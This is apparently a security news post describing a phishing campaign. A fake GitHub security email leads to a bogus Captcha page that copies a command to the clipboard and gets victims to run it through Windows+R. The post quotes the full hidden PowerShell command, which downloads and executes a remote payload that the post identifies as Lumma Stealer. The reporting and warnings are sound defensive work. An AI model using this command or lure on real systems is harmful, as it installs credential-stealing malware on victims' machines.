Clever Social Engineering Attack Exploits Captchas to Target GitHub Users
A recent phishing attack is leveraging a unique twist to target GitHub users through a cleverly disguised Captcha page. This attack tricks developers into executing malicious scripts on their machines by masking it behind a seemingly harmless Captcha challenge.
The attack begins with an email that mimics GitHub's security team, claiming to have detected a vulnerability in the recipient’s repository. It instructs users to visit a fake website, "github-scanner[.]com", to resolve the issue. While GitHub does offer free security scans, users are typically directed to review results directly on GitHub’s platform, making the request to visit a third-party site suspicious.
The Fake Captcha
Upon visiting the malicious site, users are presented with what appears to be a standard "I'm not a robot" Captcha, a familiar interaction for most internet users. However, instead of solving a typical Captcha, users are presented with a more complex screen designed to trick them into running malicious code on their systems.
Hidden Payload in the Captcha Challenge
The website executes a JavaScript function that copies an exploit string to the user’s clipboard. The exploit is executed through a simple sequence: pressing "Windows+R" opens the Windows run dialog, prompting the victim to paste and run the malicious code without realizing its true intent.
The copied script appears harmless but actually runs a hidden PowerShell command:
scsspowershell.exe -w hidden -Command "iex (iwr 'https://github-scanner[.]com/download.txt').Content"
This command silently downloads and executes a secondary malicious file, "l6E.exe", a known information stealer identified as "Lumma Stealer."
Immediate Detection but Growing Risks
Though Microsoft Defender successfully identified and blocked the malicious "l6E.exe" file, this attack highlights a growing trend where infostealers increasingly target developers. The rapid rise of these social engineering tactics is a reminder of the importance of vigilance, particularly as these phishing schemes continue to evolve.
For now, the "github-scanner" domain is flagged by some anti-malware tools, but it hasn't yet been added to Google's Safe Browsing blocklist, increasing the risk for unprotected users.
As a reminder, always be cautious when receiving unsolicited emails, particularly those urging you to visit third-party websites. Verify all communications through official channels, and avoid executing any commands from untrusted sources.
Stay safe, and always be alert for phishing attempts that attempt to exploit even the smallest of details.
Read More
Latest
